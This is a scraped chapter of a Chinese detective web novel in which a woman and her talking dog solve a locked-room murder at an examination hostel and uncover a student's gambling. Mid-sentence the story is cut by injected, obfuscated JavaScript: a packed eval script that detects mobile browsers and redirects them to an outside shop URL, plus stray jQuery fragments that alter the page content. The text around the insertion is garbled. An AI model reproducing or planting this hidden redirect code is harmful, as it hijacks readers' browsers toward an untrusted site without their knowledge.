22.第 22 章

作品:《御兽师探案手记

    巡夜的更夫敲下了梆子,咚——咚!咚!


    “三更已到——平安无事——”


    声音荡入了宁府的院墙,护院犬受惊,冲着声音来处吠了两声,又被护院及时喝止。


    这声音也穿过了紧闭的窗户,打断了屋里一人一狗的谈话,大黄在黑暗中竖起耳朵,等着犬吠声停止,又见府里没有其他动静后才继续说。


    夜晚是宁明秋最自在的时候,金盏放下了心,回到厢房睡觉,主屋里就只剩了宁明秋和大黄,她无需再装腿疾,可以随意活动,也可以随意地与大黄交谈。


    自在归自在,可她们仍有顾虑。


    担心金盏半夜起床听到宁明秋屋里的动静,也担心那个谋杀宁明秋的刺客再来宁府,所以大黄始终警觉。


    “文昌试馆里的屋子是什么样的?”


    “有像客栈那样一楼好几个房间的,还有一个院子里三间屋子的……我进去瞧了瞧,带院子的屋子大,应是为了方便那几个带书童或下人的公子入住。”


    “周辛成住的便是这种院子吧?可他又没带下人,为何也会住这里?”


    “旁边那个张宽说了,轮到周辛成的时候普通的房间已经满了,就给他住了个有院子的房间,这才让他和两个公子成了邻居。”


    虽然原话还有“这种穷酸的人还来考什么试,看着碍眼,还招来这么多事端”。


    “你们还见到张宽了?既然他还留在文昌试馆……那刘承业呢?”


    “那院子里就只剩了个张宽,说刘承业出事后便回了家,”大黄讲到刘承业,忽然激动了起来,“犯人就是这个刘承业!你让我找血迹,我找到了!除了周辛成屋里,就是刘承业那里有血腥气,虽然他打扫过了,可我一闻就闻出来了!”


    “两个屋子之间也有血迹?”


    “有!有的!刘承业屋里有血迹,那血迹一路到了周辛成屋里,所以周辛成一定是在刘承业屋里被杀害后,才被搬到自己屋里的!只是……”


    不需它多言,宁明秋便知道它要讲什么。


    那周辛成的房间分明是个密室。


    郑丘去时房门是锁着的,直到县衙来了用刀讲门闩劈来,这才把门打开。


    若刘承业是凶手,他是如何在外面将里面的门闩关上的?


    “你在死者房间里见到门闩了吗?断掉的那个。”


    “没看见,断掉的那个被收拾了,现在里面换了个新门闩,就和咱们屋里的一样,一根长木条,从屋里挂上去就算锁上了,屋里面也被收拾得整整齐齐的,打扫得干净,地上的血迹也没了,要不是我鼻子灵,也发现不了那血迹不止在这一个屋里……”


    “屋里可有其他进出的地方?”


    “没有,那就是一个普通的屋子,门窗一锁也没有能进出的地方了。”


    “门窗的状况如何?”


    “我看那窗户没换新的,上面还有个小洞,应该就是郑丘那早来找他时戳的,至于那扇门,除了沾了点血迹外也没什么特别的。”


    “血迹?具体是哪里有血迹?”


    “门槛上,还有就是门缝里,门槛上的血迹被清理干净了,可门缝里沾着的血迹还没被清理,也许是没被发现吧。”


    “你说的门缝上的血迹,是不是门闩所在的位置?”


    “是的。”


    宁明秋了然,又继续问:“你们可有问那张宽晚饭后的事情?”


    “问是问了……可他很不耐烦,说什么都没听到。”


    “什么都没听到?”


    宁明秋微微皱起眉头。


    刘承业杀人后要将死者拖进死者自己的房间,同时还要清理拖拽的血迹,这都不是一时半会儿就能做完的事情,如果三间屋子在同一个院子里,那这些动静不会被张宽注意到的几率有多大?


    “我瞧着他不像是在说谎,”大黄解释道,“我们敲门的时候他没应声,还以为这屋子里也没人了,可推开门一看,这张宽躺在床上正睡得香,他那个书童见有人进门了才出了声,叫醒了刘宽,他就像……好几天没睡好觉一样,书童也说自家少爷嗜睡,晚上也睡得早,一沾枕头就睡,什么都听不见。”


    “可你们去的时候是白天,他即便是嗜睡,也不会整天睡吧?”


    “你说的在理,那你的意思是……他们在隐瞒什么吗?可他们也没有要隐瞒的理由……莫非是被那刘承业收买了?”


    科举考试,少一个人便是少了个对手,若是让张宽知道刘承业杀了人,肯定当场就报官了,怎会隐瞒,又怎可能被收买?


    “你说‘他们’在隐瞒,他的书童总不能也睡得早吧,这书童没听见过什么动静?”


    “他的书童倒是没睡,可书童也说什么动静都没听见。”


    宁明秋想了想,忽然问:“他们的屋子看上去怎么样?”


    “就和周辛成房间一样,有床有桌子。”


    “摆件、挂画什么的可有?”


    “没有……这样说来,那屋子倒是挺朴素,不见什么贵重物品,你为何要问这个?莫非你心里已经有数了?”


    宁明秋点点头:“这张宽是说了谎,可不是在刘承业杀人之事上说了谎。”


    “这是何意?”


    “他的确没听见动静,但并非是在睡觉,而是因为他那晚不在屋里。”


    “不在屋里那是在哪里?”


    “你还记得你们在路上遇到的那个偷人银票的公子?”


    “记得,与他有何干系?”


    “既然不缺钱,又为何要偷银票?起初我以为他是与那书生有仇,才偷银票嫁祸报复,可你又说他房间的东西都没了……”


    “就和张宽一样!”


    “是的,陈捕头说这些有钱人家的公子喜欢买些字画摆件装饰屋子,可这两个公子的屋子都朴素得很,这说明,他们十分缺钱,才会将屋里购置的摆件都卖了。”


    “他们缺钱了找家里不就行了?为何要卖?”


    “因为这缺钱的理由不正当,他们又无法和家里明说。”


    “急需用钱……理由不正当……还不止一人……这是……”


    “没错,是赌,那张宽夜夜都去赌,才会白日里睡觉,也因此没听到隔壁的动静,看来这京城


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082266|194809||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可真是热闹得很,乱花迷人眼,这些个赶考的公子进了京,收不了秉性,一个个地都栽了跟头。”


    “原来是这样!他睡得昼夜颠倒,才会白日里一副睡不醒的样子,可那书童呢?”


    “你们去敲门他都没来应门,张宽的反应也证明那书童没将事情告知他,这瞧着像是个多一事不如少一事的人,即便那晚他听到了什么,应也是装作什么都不知道的,至于刘承业……”


    “刘承业的案子你也有眉目了?”


    “重点是门缝的血迹,在这起案子里,什么东西可能会沾血?”


    “地板、凶手身上的东西、死者身上的东西……还有便是凶器。”


    “那什么东西可以用来在门外挂上门闩?”


    “恩……”大黄埋头琢磨了会儿,没想出来。


    “是凶器,”宁明秋道,“用刀从门闩下方砍入一些,借着刀将门闩整个托起来,保持住平衡后,用手执刀站在门外,此时人在门外,门闩依然在门内且可供门外的人动作,凶手将门关上后,再借用刀在门缝中移动以将门闩挂上,最后将刀拔出即可。”


    宁明秋又道:“此外,县尉有心要包庇那刘承业,才会从屋外劈开门闩,这样门闩成了两半,也就瞧不出来被刀砍过的痕迹了。”


    “可是,那凶器不是插在尸体身上吗?要是刀到了门外了,后面又怎么插回尸体上?”


    “应是有两把刀,你想想,若你对他人起了杀意,你会拔出他自己携带的刀来杀他吗?”


    “……倘若我武艺高强,能在他反应过来之前动完手,我可能会这么做。”


    “刘承业应是用自己的刀杀了周辛成,将尸首移入房间后再将刀拔出,换成了周辛成自己的刀,派家仆将现场拖拽痕迹清理后,再用自己的刀从门外将门闩挂上,伪造成死者在自己屋内自尽的样子。”


    “然后再回府告知了那个工部侍郎,工部侍郎再连夜去找了县令二人?”


    “应该是如此,只是,我还有件事没想通。”


    “是什么?”


    “刘承业既然与周辛成相处得不错,又为何要杀他?即便是有了口角临时起意,那该是什么样的口角才会让他想要拔刀杀人,还是在即将考试前给自己惹麻烦?”


    不,不仅仅是这些。


    最奇怪的还是御镇司的动作。


    照现在来看,当晚这院子里的人,有凶手刘承业和他的家仆,有死者周辛成,顶多还有个张宽的书童,那么,如果御镇司的目标与此事有关,那御镇司是从什么地方知道县令与县尉包庇工部侍郎之子的事情的?


    可即便御镇司的目标与此事有关,他们又通过某种途径知道了,又为何要用这种曲折的手段,从县令的死开始查起,而不是直接来查周辛成被杀一案?


    此时的宁明秋只觉得自己初来乍到这个世界,实在所知甚少,对朝中势力更是一无所知,可又不能光明正大地问金盏“当今皇上姓甚名谁”之类的问题。


    宁明秋叹了口气。


    所幸,虽然疑问尚未解开,可今夜又是个平安夜,没有刺客潜入宁府。